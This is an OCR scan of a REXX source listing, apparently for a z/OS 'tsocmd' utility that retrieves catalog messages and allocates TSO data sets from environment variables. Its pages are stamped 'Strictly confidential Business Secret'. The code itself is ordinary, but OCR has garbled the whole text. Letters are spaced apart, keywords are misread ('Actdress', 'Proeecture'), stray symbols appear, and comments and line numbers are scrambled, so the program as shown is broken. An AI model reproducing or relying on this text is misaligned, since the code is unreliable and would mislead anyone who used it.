6 8 4 6  I l  Fun c t i on De s c r i p t i o n : S e n d s  a me s s age t o  the s pe c i f i e d  f i l e  de s c r ip t o r . 

6 9 2 4  I l  

6 9 9 8  I l  

7 0 6 7 I l  

7 1 1 7  I l  

7 1 8 8  I l  

7 2 6 2 I l  

7 3 2 8  I l  

7 4 0 0  I l  

7 4 7 1  I l  

7 5 2 4  I l  

7 5 8 6  I l  

7 6 5 0  I l  

7 7 2 6  I l  

7 7 9 1 I l  

7 8 5 8  I l  

7 9 3 0  I l  

8 0 0 1  I l  

8 0 4 9  I l  

8 0 6 4 I l  

8 0 9 5 I l  

8 1 6 3 I l  

8 1 7 7  I l  

Depende n c i e s  

Re s t r i c t i o n s  

I nput 

Exit N o rma l 

Re t u r n  V a l u e  

Outpu t s  

E x i t  E r r o r  

Re t u r n  V a l u e  

c a t de s c  h a s  b e e n  de f i n e d  f o r  c a t a l o g  de s c r i p t o r ,  

i t  w i l l  be modi f i e d  b y  a fun c t i o n  that i s  

c a l l e d  b y  t h i s fun c t i o n . 

Any me s s ag e s  s e n t  by th i s  w i l l  u s e  % %  i n  t h e  

me s s a g e s  t o  repre s e n t  s ub s t i tu t i o n  va r i ab l e s . 

The max imum me s s age l im i t  i s  4 0 9 6  byt e s . 

An y t h i n g  ove r t h a t  l im i t  w i l l  be t r u n c a t e d . 

f i l e de s c  - f i l e  de s c r ip t o r  to s e n d  me s s age t o  

whe r e  we a s s ume : 

l s t andard o u t  ( s t dou t ) 

2 = s t andard e r r o r  ( s t de r r )  

ms gNum - me s s age numb e r  f r om t h e  c at a l o g ,  s pe c i f y  

- 1 t o  s kip c a t a l o g  p r o c e s s i n g  

mt e x t i n  - me s s age t e x t  t o  u s e  i f  c a t a l o g  

r e t r i eve f a i l s  o r  i f  s kipped c a t a l o g  

a r g ( 4 - n ) - s ub s t i t u t i o n  t e x t  f o r  the me s s age , 

i f  any . 

None . 

Me s s age i s  s e n t  to the f i l e  de s c r i p t o r . 

N o n e . 
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8 2 0 8  I l  Outpu t s  

8 2 4 5  / /  N o t e s  

Un known . 

None . 

8 2 7 9  / / - - E N D  OF S PE C I F I CAT I ON S  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * / 

8 3 5 8  s e n dM s g :  Pro eecture e xp o s e  dbgLvl c a t de s c  E S C  N 

8 4 0 5  P a r s e  a r g  f i l e de s c ,  m s gNum , mtext i n  / * D e t e rm i n e  p a s s e d  v a l u e s  * / 

8 4 8 1  I f  ms gNum < >  - 1 Then / * Are we t o  w o r k  w i th c a t a l o g ?  * l 

8 5 5 3  Do / * Do for w o r k  with c a t a l o g . * / 

8 6 2 5  / * s e t  me s s a ge t e x t  u s i n g  me s s a ge I D  o r  de fau l t  t e x t , 

8 6 8 7  append a new l i n e . * / 

8 7 5 9  mtext = getMs g ( m s gNum, mtext i n )  l l E S C  N 

8 8 0 9  End / * E n d  Do for w o r k  w i t h  c a t a l o g . * l 

8 8 8 1  E l s  e / * Ju s t  u s e  input data as  i s . * l 

8 9 5 3  Do / * Do for u se input data as  i s . * l 

9 0 2 5  mtext mtex t i n  I l  E S C  N / * s e t  data t o  input da t a , app e n d  

9 0 9 5 a n e w  l i n e . * l 

9 1 6 7 End / * E n d  Do for u se input data as i s * / 

9 2 4 1  / * L o op ove r the rema i n i n g  s u b s t i t u t i o n  t e x t , i f  a n y , r ep l a ce 

9 3 0 7  the % % ' s  i n  me s s age w i t h  s ub s t i tu t i o n  va r i ab l e s  v a l u e s . 

9 3 7  9 Do s i  = 4 to a r g ( )  

9 4 0 1  P a r s e var mt e x t  mtp r e f  ' % % '  mt s u f  / * D e t e rmine s t r i n g s  b e f o r e  

9 4  6 8  and a f t e r  the f i r s t  % % . 

9 5 4 0  m t e x t  mtp re f l l a rg ( s i )  l l mt s u f  / * Change t e x t  t o  have b e f o r e  

9 6 0 9  t e x t , then s ub s t i tu t i o n  

9 6 7  6 var v a l u e , t h e n  a f t e r . 

9 7 4 8  E n d  / * End D o  l o op ove r s ub s t  v a r s . 

9 8 2 4  / * W r i t e  the data t o  the s p e c i f i e d  de s c r i p t o r  

9 8 9 6  Actdre s s  s y s c a l l  " w r i t e  " l l f i l e de s c  l l " mtex t "  

9 9 5 2  Re t u r n  

9 9 6 1  / * - - S TART OF FUNC T I ON S PE C I F I CAT I ON S  

1 0 0 3 6  / /  Fun c t i o n  Name g e t M s g  

* l 

* / 

* l 

* / 

* / 

1 0 0 7 1  / /  Fun c t i on D e s c r i p t i o n : Re t r i eve s me s s a ge f r om the me s s a ge c a t a l o g  o r  

1 0 1 4 2  / /  r e t u r n s  input me s s age i f  n o t h i n g  f o u n d  i n  t h e  

1 0 2 1 3  / /  c a t a l o g . 

1 0 2 5 0  / /  Depende n c i e s  c a t de s c  h a s  b e e n  de f i n e d  f o r  c a t a l o g  de s c r i p t o r , 
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1 0 3 2 4  I l  i t  wi l l  b e  modi f i e d  b y  t h i s func t i o n . 

1 0 3 9 0  I l  Re s t r i c t i o n s  None . 

1 0 4 2 4  I l  I nput ms gNum - me s s age numb e r  from the c a t a l o g  

1 0 4 9 0 I l  mtext - me s s age t e x t  t o  u s e  i f  c a t a l o g  

1 0 5 5 6  I l  r e t r i eve f a i l s  

1 0 6 0 8  I l  E x i t  Normal 

1 0 6 2 3  I l  Return V a l u e  Re t r i eved me s s a ge text . 

1 0 6 7 2  I l  Outpu t s  Me s s age t e x t  i s  r e t r i eved . 

1 0 7 2 7  I l  E x i t  E r r o r  

1 0 7 4 1  I l  Return V a l u e  De f au l t  me s s age t e x t  wh i ch w a s  p a s s e d  i n . 

1 0 8 0 8  I l  Outpu t s  Un known . 

1 0 8 4 5  I l  No t e s  None . 

1 0 8 7 9  1 1 - - END O F  S PE C I F I CAT I ON S  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * 1 

1 0 9 5 5  getMs g : P r o e e ctu r e  e xp o s e  dbgLvl c a t de s c  E S C  N 

1 1 0 0 1  P a r s e  arg ms gNum , mtext l * D e t e rmine p a s s e d  va l u e s . * l 

1 1 0 7 3  m s e t  = l l * U s e  t h i s  me s s age s e t  numb e r  

1 1 1 4 0  f o r  e n g l i s h . ms f  ( a l l  o n e  s e t ) . * l 

1 1 2 1 4  l * I f  we have n o t  a l ready o p e n e d  the me s s a ge c a t a l o g ,  open i t . * l 

1 1 2 8 6  I f  c a t de s c  = - 1 Then 

1 1 3 1 0  Do 

1 1 3 1 8  Actdre s s  s y s c a l l  " c a t open f s um r c a t . ca t "  l * Open me s s a ge c a t a l o g * l 

1 1 3 9 0  c a t de s c  = r e t v a l  l * D e t e rmine r e t u r n  va l u e , - 1 i s  

1 1 4 5 8  r e t u r n e d  i f  a n  e r r o r . 

1 1 5 3 2  l * S e n d  o u t  addi t i o n a l  i n f o rmat i o n  o n  c a t op e n  i f  debug o n . 

1 1 6 3 5  C a l l  dbg i n f o  ' c atopen reque s t ,  r e t u r n  code = ' I l  r e t v a l  

1 1 6 9 9  End 

1 1 7 1 0  l * Re t r i eve the me s s age i n f o rma t i o n , i f  p o s s ib l e . 

1 1 7 8 2  I f  c a t de s c  > =  O Then 

1 1 8 0 6  Do 

1 1 8 1 4  Actdre s s  s y s c a l l  " c a t ge t s  ( c a t de s c )  ( ms e t ) ( m s gNum) mte x t "  

1 1 8 7 9  E n d  

1 1 8 9 0  l * Re t u r n  me s s age t e x t  f r om c a t a l o g  o r  de f au 1 t  

1 1 9 6 2  Re t u r n  mtext 

1 2 0 0 0  1 * - - S TART O F  FUNC T I ON S PE C I F I CAT I ON S  

* l 

* l 

* l 

* l 
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1 2 0 7 5  I l  Fun c t i o n  Name c l eanup 

1 2 1 1 1  Il Fun c t i o n  De s c r i p t i on : C l eanup any r e s ou r c e s . 

1 2 1 6 2 I l  Dependen c i e s  catde s c  h a s  b e e n  de f i n e d  f o r  c a t a l o g  de s c r i p t o r ,  

1 2 2 3 6  I l  i t  w i l l  b e  modi f i e d  b y  t h i s  fun c t i o n . 

1 2 3 0 2  I l  Re s t r i c t i on s  None . 

1 2 3 3 6  I l  Input None . 

1 2 3 7 0  I l  E x i t  N o rm a l  

1 2 3 8 5  I l  Re t u r n  V a l u e  None . 

1 2 4 1 6  I l  Outpu t s  Re s o u r c e s  c l e an e d  up . 

1 2 4 6 6  I l  E x i t  E r r o r  

1 2 4 8 0  I l  Re t u r n  V a l u e  None . 

1 2 5 1 1  I l  Outpu t s  Unknown . 

1 2 5 4 8  I l  N o t e s  None . 

1 2 5 8 2  1 1 - - END OF S PE C I F I CAT I ON S  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * 1 

1 2 6 5 4  c l e anup : P r o e e ctu r e  exp o s e  dbgLvl c a t de s c  E S C  N 

1 2 7 0 3  I f  ( c a t de s c  < >  - 1 )  Then l * If  we have opened the c a t a l o g  * l 

1 2 7 7 5  Do 

1 2 7 8 2  Actdre s s  s y s c a l l  " c a t c l o s e  ( c a t de s c ) "  l * C l o s e  the c a t a l o g  

1 2 8 5 4  c a t de s c  = - 1 l * Re s e t  i n d i c a t o r  

1 2 9 2 6  End 

1 2 9 3 4  Re turn 

1 2 9 4 3  1 * - - S TART O F  FUNC T I ON S PE C I F I CAT I ON S  

1 3 0 1 8  I l  Fun c t i o n  Name u s age 

1 3 0 5 2  Il  Fun c t i o n  D e s c r i p t i o n : D i s p l a y  u s age me s s age a n d  e x i t . 

1 3 1 1 2  I l  Depende n c i e s  None . 

1 3 1 4 6  I l  Re s t r i c t i o n s  N o n e . 

1 3 1 8 0  I l  I np u t  None . 

1 3 2 1 4  I l  E x i t  No rma l 

1 3 2 2 9  I l  R e t u r n  V a l u e  N o n e . 

* l 

* l 

1 3 2  6 0  I l  Outpu t s  U s age me s s age i s  d i s p l a y e d  and p r o g ram e x i t s . 

1 3 3 3 4  I l  E x i t  E r r o r  

1 3 3 4 8  I l  Re t u r n  V a l u e  None . 

1 3 3 7 9  I l  Outpu t s  U n known . 

1 3 4 1 6  I l  N o t e s N o n e . 
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1 3 4 5 0  1 1 - - END OF S PE C I F I CAT I ONS - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * 1 

1 3 5 2 2  u s age : P r o eecture e xp o s e  dbgLv1 c a t de s c  E S C  N 

1 3 5 6 9  l * S e n d  the u s age me s s age t o  s t andard e r r o r  * l 

1 3 6 4 1  C a l l  s e n dM s g  2 , 5 4 5 0 , " U s age : t s o cmd [ t s o c ommand ] " 

1 3 6 9 5 C a 1 1  c 1 e anup l * C a 1 1  c l e anup fun c t i on * l 

1 3 7 7 0  l * E x i t  the c omman d  w i t h  r e t u rn c ode 2 5 5  * l 

1 3 8 4 4  E x i t  2 5 5  

1 3 8 6 3 1 * - - S TART OF FUNC T I ON S PE C I F I CAT I ONS 

1 3 9 3 8  Il  Fun c t i on Name p r o cEnvVa r 

1 3 9 7 7  I l  Fun c t i o n  De s c r i p t i on : P r o c e s s  the f o l l ow i n g  envi r o nment va r i ab l e s :  

1 4 0 4 7  I l  S Y SEXEC 

1 4 0 8 2  I l  S Y S PROC 

1 4 1 1 7  I l  T S OALLOC 

1 4 1 5 3  I l  T S OPRO F I LE 

1 4 1 9 1 I l  I f  t h e r e  i s  a n  e r r o r  wh i l e  p r o c e s s i n g  the 

1 4 2 5 8  I l  va r i ab l e s ,  c o n t r o l  w i l l  n o t  b e  r e t u r n e d  t o  

1 4 3 2 6  I l  t h e  invoke r . 

1 4 3 6 7 I l  Depende n c i e s  None . 

1 4 4 0 1  I l  Re s t r i c t i o n s  None . 

1 4 4 3 5  I l  I nput None . 

1 4 4 6 9  I l  E x i t  N o rmal 

1 4 4 8 4  I l  Re t u r n  V a l u e  None . 

1 4 5 1 5  I l  Outp u t s  Envi r onme n t  va r i a b l e  va l u e s  h a v e  b e e n  p r o c e s s e d . 

1 4 5 9 2 I l  E x i t  E r r o r  

1 4  6 0 6  I l  Re t u r n  V a l u e  N o n e . 

1 4 6 3 7  I l  Outpu t s  E r r o r  me s s age . 

1 4 6 8 0  I l  Na t e s  T h e  f i r s t  u s age o f  Actdre s s  t s o  i n  t h i s  REXX 

1 4 7 4 9  I l  p r o g r am wi l l  s t a r t  a T S O  ' e n v i r o nment ' .  Al l 

1 4 8 1 9  I l  s u b s e qu e n t  Actdre s s  t s o  c a l l s  w i l l  b e  w o r k i n g  

1 4 8 8 9  I l  i n  the s ame envi r onme n t . Th i s  envi r onme n t  

1 4 9 5 7  I l  w i l l  b e  a c t ive un t i l  t h e  REXX p r o gram ends 

1 5 0 2 5  I l  wh i ch i s  why the p r o c e s s i n g  wh i c h  o c c u r s  i n  

1 5 0 9 4  I l  t h i s fun c t i on w i l l  b e  i n  e f f e c t  when the 

1 5 1 6 1  I l  u s e r s  t s o  c omman d  i s  invoked i n  the ma i n  
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1 5 2 2 7  / /  c o de path . 

1 5 2 6 6  / / - - END O F  S PE C I F I CAT I ON S  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * /  

1 5 3 3 8  p r o c E nvVa r : P r o e e ctu r e  exp o s e  dbgLvl c a t de s c  E S C_N 

1 5 3 9 1  

1 5 4 4 1  

1 5 4 4 6  

1 5 5 1 8  

1 5 5 9 0  

1 5 6 6 2  

1 5 7 2 7  

1 5 8 0 5  

1 5 8 8 0  

1 5 9 5 4  

1 5 9 9 8  

1 6 0 7 7  

1 6 1 4 9  

1 6 1 5 6  

1 6 2 2 6  

1 6 2 7 3  

1 6 3 4 5  

1 6 3 5 5  

1 6 4 2 6  

1 6 4  9 8  

1 6 5 4 5  

1 6 6 1 1  

1 6 6 8 3  

1 6 7 5 5  

1 6 8 2 7  

1 6 8 9 9  

1 6 9 7 1  

1 7 0 4 3  

1 7 1 1 5  

1 7 1 8 7  

1 7 2 5 3  

C a l l  dbg i n f o  ' P r o c e s s i n g  Envi ronmen t  V a r i ab l e s ' 

/ *  P r o c e s s  the T S OALLOC , S Y SEXE C , and S Y S PROC Env i r o nme n t  * l 

/ *  

/ *  

va r i ab l e s . O n l y  p r o c e s s  the S Y S EXEC and S Y S PROC va r i a b l e s  

i f  T S OALLOC h a s  n o t  b e e n  s pe c i f i e d . 

* l 

* l 

I f  ( l = Envi ronme n t ( ' T S OALLOC ' , ,  ' e ' ) )  Then / * I s  the va r i ab l e  

de f i n e d ?  

D o  / *  Do f o r  Va r i ab l e  i s  de f i n e d . 

/ *  Re t r i eve e n v i r o nment va r i ab l e  v a l u e . 

e nvva r i n f o  = E n v i r onme n t ( ' T S OALLOC ' )  

C a l l  dbg i n f o  ' P r o c e s s i ng T S OALLOC ev = ' l  [ envva r i n f o  

rtn = O / *  I n i t i a l i z e  r e t u r n  c o de . 

/ *  The T S OALLOC va r i a b l e  i n f o rma t i o n  i s  a s e r i e s  o f  envi r onme n t  

v a r i ab l e  n ame s ,  s e p a r a t e d  b y  c o l on s ,  

wh i ch s h o u l d  b e  p r o c e s s e d  f o r  data s e t  a l l o c a t i o n s . 

/ *  D e t e rm i n e  f i r s t  p i e c e  o f  i n f o ,  p r i o r  to f i r s t  o r  a l l  o f  i t  

i f  n o  : . 

P a r s e  var e nvva r i n f o  i n f o B e f  ' · ' i n foAft 

Do Wh i l e  i n foBe f < >  ' / *  Wh i l e  i n f o  s t i l l  t o  p r o ce s s . 

/ *  A l l o c a t e  data s e t  a c c o rd i n g  t o  data in a s s o c i a t e d  

/ *  v a r i ab l e . I n c reme n t  r e t u r n  c o d e  a s  w a n t  t o  keep 

/*  p r o c e s s i n g  the a l l o c a t i o n s , b u t  n e e d  t o  exit if h a d  

/ *  any f a i l u re s . T h i s  behavi o r  o f  c o n t i n u i n g  t o  p r o c e s s  

* l 

* l 

* l 

* l 

* l 

* l 

* l 

* l 

* l 

* /  

* l 

/ *  a l l o c a t i on reque s t s  even i f  we h a d  one f a i l u r e  mirni e s  * /  

/ *  the e x i s t i n g  c o de i n  t s o  c omman d  and t h e  T o o l s  a n d  T o y s  * /  

/ *  ve r s i on o f  t h e  t s o cmd c ommand . * /  

rtn = r t n  + a l l o c D a t a s e t ( Env i r onme n t ( i n foBe f ) , i n f o B e f )  
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1 7 2 6 2 

1 7 3 3 4  

1 7 3 8 1  

1 7 3 9 0  

l 7 4  6 2  

1 7 4 6 9  

1 7 5 4 1  

1 7 5 5 8  

1 7 6 2 3  

1 7 6 9 5  

1 7 7 4 0  

1 7 8 1 7  

1 7 8 8 9  

1 7 9 6 1  

1 8 0 3 4  

1 8 1 0 6  

1 8 1 7 4  

1 8 2 4 6  

1 8 3 2 0  

1 8 3 9 4  

1 8 4 4 0  

1 8 5 1 2  

1 8 5 8 4  

1 8 6 3 6  

1 8 7 0 8  

1 8 7 2 6  

1 8 7 9 5 

1 8 8 6 7 

1 8 9 1 6  

1 8 9 9 7 

1 9 0 7 3  

1 9 1 4 5  

1 9 2 1 3  

1 9 2 8 5  

/ *  D e t e rm i n e  next i t em t o  p r o c e s s  * l 

P a r s e  var i n foAft i n f o B e f  ' · ' i n foAft 

End /*  E n d  Do wh i l e  o n  i n foBe f . * /  

I f  rtn > O Then /*  Che c k  a l l o c D a t a s e t  r e t u r n  v a l u e * /  

Do 

/* Send f a i l u r e  me s s a ge , i n d i c a t e  s e n d  me s s age w i t h o u t  

a r e t u rn c o de v a l u e , c o n t r o l  d o e s  n o t  r e t u rn . * l 

C a l l  s e n dEnvVa rM s g  ' T S OALLOC ' , O  

End /*  E n d  Do f o r  n o n  z e r o r e t u r n  c o de * /  
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End / * End Do f o r  Va r i ab l e  is  de f i n e d . * / 

E l s  e / *  T S OALLOC i s  n o t  de f i n e d . * /  

Do / * Do for T S OALLOC is not de f i n e d . * / 

/ *  P r o c e s s  the S Y S PROC e nv i ronment va r i ab l e . * /  

I f  ( l = Envi ronment ( ' S Y S PROC ' , ,  ' e ' ) )  Then / * I s  the v a r i a b l e  

de f i n e d ?  * l 

Do / *  D o  for Va r i a b l e  is de f i ne d .  * l 

/ *  Re t r i eve envi r o nment va r i a b l e  v a l u e . * /  

envva r i n fo = Env i r o nment ( ' S Y S PROC ' )  

C a  l l dbg i n f o  ' P r o c e s s i ng S Y S PROC ev = ' l l e nvva r i n f o  

/ *  P r o c e s s  t h e  i n f o rma t i o n  i n  t h e  S Y S PROC v a r i ab l e . * l 

r t n  = a l l o c D at a s e t ( e nvva r i n f o , ' S Y S PROC ' )  

I f  r t n  > O Then /* Any e r r o r s ?  * l 

Do 

/* Send f a i l u r e  me s s age , i n d i c a t e  send me s s a ge w i t h o u t  

a r e t u r n  code va l u e , c o n t r o l  doe s n o t  r e t u r n . * /  

C a l l  s e n dEnvVarMs g ' S Y S PROC ' , O  

E n d  / *  E n d  Do f o r  a n y  e r r o r s . * l 

End / * E n d  Do f o r  variable i s  de f i n e d . * / 

/ *  P r o c e s s  t h e  S Y S EXEC envi r onme n t  v a r i ab l e . * /  

I f  ( l = Envi r o nment ( ' S Y SEXE C ' , ,  ' e ' ) )  Then / * I s  the v a r i a b l e  

de f i n e d ?  * /  

Do / *  Do for Va r i a b l e  is de f i ne d .  * /  

Strictly contident ia l l Bus i ness Secret l 



1 9 3 5 8  

1 9 4 3 0  

1 9 4 8 9  

1 9 5 5 4  

1 9 6 2 6 

1 9 6 7 8  

1 9 7 5 0  

1 9 7 6 8 

1 9 8 3 7  

1 9 9 1 2  

1 9 9 6 0  

2 0 0 4 0  

2 0 1 1 3  

2 0 1 8 5  

2 0 1 9 0 

2 0 2  6 2  

2 0 3 2 9  

2 0 4 0 1  

2 0 4 7 5  

2 0 5 2 0  

2 0 5 8 8  

2 0 6 6 0  

2 0 7 3 2 

2 0 7 3 9  

2 0 8 0 2  

2 0 8 7 4  

2 0 8 8 8  

2 0 9 5 8  

2 1 0 3 0  

2 1 0 6 8 

2 1 1 3 6  

2 1 2 0 8  

2 1 2 5 7  

2 1 3 3 7  

/ *  Re t r i eve envir onment v a r i a b l e  va l u e . * l 

e nvva r i n f o  = Env i r o nment ( ' S Y SEXEC ' )  

C a l l  dbg i n f o  ' P r o c e s s i ng S Y SEXEC ev = ' l l envva r i n f o  

/ * P r o c e s s  t h e  i n f o rma t i o n  i n  the S Y SEXEC v a r i a b l e  * l 

rtn = a l l o c D a t a s e t ( e nvva r i n f o , ' S Y S EXEC ' )  

I f  r t n  > O Then /* An y e r r o r s ?  * l 

Do 

/* Send f a i l u r e  me s s age , i n d i c a t e  s en d  me s s a ge w i th o u t  

a r e t u r n  c o de v a l u e , c o n t r o l  do e s  n o t  r e t u rn . * l 

C a l l  s e n dE nvVa rMsg ' S Y S EXEC ' , O  

E n d  / *  End Do f o r  a n y  e r r o r s . * l 

E n d  / * End Do f o r  v a r i a b l e  i s  de f i n e d . * / 

E n d  / *  E n d  Do f o r  T S OALLOC n o t  de f i n e d * / 

/ *  P r o c e s s  the T S O PRO F I LE Envi r o nment va r i ab l e . * /  

I f  ( l = E n v i ronme n t ( ' T S OPROF I LE ' , ,  ' e ' ) )  Then / * I s  the va r i a b l e  

de f i n e d ?  * l 

Do / * Do for Va r i a b l e  is de f i n e d . * /  

envva r i n f o  Env i r o nment ( ' T S OPRO F I LE ' )  

C a l l  dbg i n f o  ' P r o c e s s i n g  T S OPRO F I LE ev = ' l l e nvva r i n fo 

cmd S t r i n g  = ' p r o f i l e  ' l  l envva r i n f o / *  Bu i l d  c ommand i n f o . * l 

Actdre s s  t s o  cmdS t r i n g  / *  P r o c e s s  p r o f i l e  c omman d .  * l 

I f  re <> O Then /* Che c k  return v a l u e  from 

actdre s s  t s o  r e qu e s t . * l 

D o  

/ *  E cho the c omman d  s t r i n g  i n  t h i s  c a s e  ( mimi c s  behav i o r  o f  

t s o  c omman d  c o de ) . * l 

C a l l  s e n dM s g  2 , - l , cmdS t r i n g  

/ *  S e n d  f a i l u r e  me s s a ge w i t h  a r e t u r n  c ode , c o n t r o l  doe s 

n o t  r e t u r n . * l 

C a l l  s e n dE nvVa rMs g  ' T S OPRO F I LE ' , r c 

E n d  / *  E n d  Do f o r  n o n  z e r o  r e t u r n  c o de * /  

E n d  / *  E n d  D o  f o r  v a r i a b l e  i s  de f i n e d . * / 
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2 1 4 0 9  

2 1 4 1 4  Return 

2 1 4 2 3  1 * - - S TART O F  FUNC T I ON S PE C I F I CAT I ONS 

2 1 4 9 8  Il Fun c t i o n  Name a l l o c D a t a s e t  

2 1 5 3 9  I l  Fun c t i o n  De s c r i pt i on : Al l o c a t e  data s e t  w i t h  the spe c i f i e d  

2 1 6 0 2  I l  

2 1 6 4 5  I l  

2 1 6 7 9  I l  

2 1 7 1 3  I l  

2 1 7 7 6  I l  

2 1 8 3 7  I l  

2 1 8 5 2  I l  

2 1 9 0 3  I l  

2 1 9 5 7  I l  

Depende n c i e s  

Re s t r i c t i on s  

I nput 

Exit N o rmal 

Re t u r n  Value 

Outpu t s  

2 2 0 1 7  I l  E x i t  E r r o r  

2 2 0 3 1  I l  

2 2 0 8 5  l l 

Return Value 

Outpu t s  

2 2 1 2 1  I l  N a t e s  

i n f o rmat i o n . 

None . 

None . 

n ame s - a l l o c a t i o n  i n f o rma t i o n  f o r  d d 

d d - data s e t  t o  b e  a l l o c a t e d  

O i f  a l l o c a t i o n  c omp l e t e d  

l i f  a l l o c a t i on h a d  an e r r o r  

D a t a  s e t  a l l o c a t e d  a s  r e qu e s t e d  

l i f  a l l o c a t i on h a d  a n  e r r o r  

Un known 

None . 

2 2 1 5 5  1 1 - - END OF SPE C I F I CAT I ON S  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * 1 

2 2 2 2 7  a l l o c D a t a s e t : P r o e e ctu r e  e xp o s e  db gLvl c a t de s c  E S C_N 

2 2 2 7 9  P a r s e  a r g  name s ,  dd l * D e t e rm i n e  p a s s e d  v a l u e s . * l 

2 2 3 5 4  l * I f  n o  v a l u e  f o r  the a l l o c a t i o n  i n f o rma t i o n , then w i l l  a l l o c a t e  

2 2 4 2 2  a dummy data s e t . * l 

2 2 4 9 4  I f  n ame s ' ' Then 

2 2 5 1 6  D o  l * Do f o r  n o  n ame s v a l u e . * l 

2 2 5 8 8  l * Bu i l d  c omman d  s t r i n g  f o r  dummy a l l o c a t i o n  reque s t . * l 

2 2 6 6 0  cmdS t r i n g  = " a l l o c  dd ( " l l dd l l " ) dumm y "  

2 2 7 0 5  C a l l  dbg i n f o  ' Dummy a l l o c a t i o n  cmd = ' l l cmdS t r i n g  

2 2 7 6 1  

2 2 7 6 9  Actdre s s  t s o  cmdS t r i n g  l * P r o c e s s  a l l o c  c ommand .  * l 

2 2 8 4 1  I f  r e  < >  O Then l * Che c k  return v a l u e  f r om 

2 2 9 0 4  a ctdre s s  t s o  reque s t . * l 

2 2 9 7  6 Do l * Do for n o n  zero return c o de . * l 

2 3 0 4 8  l * S e n d  i n f o rma t i o n a l  f a i l u r e  me s s age . * l 
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2 3 1 2 0  

2 3 1 5 1  

2 3 2 2 5  

2 3 2 5 2  

2 3 3 2 4  

2 3 3 9 6  

2 3 4 0 7  

2 3 4 7 9  

2 3 5 7 5  

2 3 6 3 8  

2 3 7 0 4  

2 3 7 7 3  

2 3 8 7 2  

2 3 9 4 5  

2 3 9 5 2  

2 4 0 2 4  

2 4 0 9 6  

2 4 1 5 3  

2 4 2 0 9  

2 4 2 1 6  

2 4 2 8 8  

2 4 3 5 1  

2 4 4 2 3  

2 4 4  9 5  

2 4 5 6 7  

2 4 5 9 8  
c ode % % . " , 

2 4 6 9 2 

2 4 7 2 1  

2 4 7 9 3  

2 4 8 6 5  

2 4 8 7 6  

2 4 9 4 8  

2 5 0 2 0  

2 5 0 2 5  
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C a l l  s e n dM s g  2 , 5 4 5 5 ,  

, " t s o cmd : D a t a  s e t  n o t  a l l o c a t e d  t o % % : r e t u r n  c o de 

, dd , " dummy" , r c 

Re t u r n  l / *  Re t u r n  i n di c a t i n g  f a i l u r e . 

g,. g,  Il 
o o .  f 

* l 

End /*  E n d  Do f o r  n o n  zero r e t u r n  c o de * /  

E l s  e 

Re t u r n  O / *  Re t u r n  indi c a t i n g  s u c c e s s .  

End /*  E n d  Do f o r  n o  n ame s v a l u e . 

/ *  Grab f i r s t  p a r t  of n ame s f i e l d ,  and upp e r  c a s e  i t  s o  can 

de t e rmine if  direct ALLOC r e qu e s t . A l s o  ensure the ALLOC i s  

f o l l owed b y  a b l a n k . T h i s  mu s t  be done a s  two s e p a r a t e  c h e c k s  

* l 

* l 

where the b l an k s  i s  spe c i f i c a l l y  che c ke d  on i t s  own . * /  

I f  ( t ra n s l a t e ( s ub s t r ( n ame s , 1 , 5 ) ) = ' ALLOC ' & ( s ub s t r ( name s , 6 , 1 ) = '  ' ) )  

T hen 

Do /* D o  f o r  a l l o c  r e qu e s t . 

/ *  Bu i l d  c omman d  s t r i n g  w i t h  s pe c i f i e d  a l l o c  i n f o rmat i o n . 

cmdS t r i n g  = " a l l o c  dd ( " l l dd l l " ) " l l s ub s t r ( n ame s , 7 )  

C a l l  dbg i n f o  ' ALLOC a l l o c a t i o n  cmd = ' l l cmdS t r i n g  

Actdre s s  t s o  cmd S t r i n g  / *  P r o c e s s  a l l o c  c ommand . 

I f  re <> O Then /*  Check r e t u r n  v a l u e  from 

a ctdre s s  tso r e qu e s t . 

Do /* Do f o r  non z e r o  return c o de . 

/ *  S e n d  i n f o rma t i o n a l  f a i l u r e  me s s age . 

C a l l  s e n dM s g  2 , 5 4 5 6 ,  

, " t s o cmd : D a t a  s e t  n o t  a l l o c a t e d  f o r  D D  % % w i th c omman d  

, dd , cmdS t r i n g , r c 

Re t u r n  l / *  Re t u r n  i n di c a t i n g  f a i l u r e . 

* l 

* l 

* l 

* l 

* l 

* l 

11 11 9,. 9,- ll fl 
o o ' 

* l 

E n d  / *  E n d  Do f o r  n o n  z e r o  r e t u r n  c o de * /  

E l s  e 

Re t u r n  O / *  Re t u r n  i n d i c a t i n g  s u c ce s s . * l 

End /*  E n d  Do f o r  a l l o c  r e que s t . * l 

/ *  I f  n o t  dummy or d i r e c t  ALLOC r e qu e s t ,  then p r o ce s s  the 

r e t u r n  
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2 5 0 8 5  

2 5 1 6 0  

2 5 2 2 7  

2 5 2 9 9  

2 5 3 3 7  

2 5 4 0 4  

2 5 4 7 4  

2 5 5 4 6  

2 5 6 1 8  

2 5 6 9 0  

2 5 8 0 6  

2 5 8 7 8  

2 5 9 4 6  

2 6 0 1 0  

2 6 0 8 2 

2 6 1 2 9  

2 6 1 9 8 

2 6 2 6 3 

2 6 3 3 5  

2 6 3 7 6  

2 6 3 8 1  

2 6 4 5 3  

2 6 4  9 3  

2 6 4  9 8  

2 6 5 6 5  

2 6 6 3 7  

2 6 7 0 9  

2 6 7 1 4  

2 6 7 8 6  

2 6 8 5 8  

2 6 9 3 0  

2 6 9 9 1 

2 7 0 4 6  

2 7 1 1 8  

s t r i n g  f o r  i n f o rma t i o n  t o  s pe c i f y o n  ALLOC requ e s t . 

/ * De t e rm i n e  f i r s t  p i e c e  o f  i n f o , p r i o r  to f i r s t  : or a l l  o f  i t  

i f  n o  : . 

P a r s e  var n ame s dsnBe f ' · ' dsnAft 

de l im / * Thi s w i l l  be n e e de d  t o  bu i l d  

ds l i s t  i f  mor e t han one , s t a r t  

w i t h  b l an k . 

ds l i s t  = ' ' / * s t a r t  l i s t  w i t h  b l an k s . 

msgds l i s t  = / * s t a r t  me s s a ge l i s t  w i t h  b l an k s  

/ * N e e d  t o  l o op o v e r  n ame s i n  o rder t o  p r o c e s s  c o n c a t e n a t i on . 

Do Wh i l e  d s n B e f  <> ' ' / * Wh i l e  i n f o  s t i l l  to p r o c e s s .  

/ * App e n d  data s e t  name t o  l i s t  o f  da t a  s e t s ,  put quo t e s  a r o u n d  

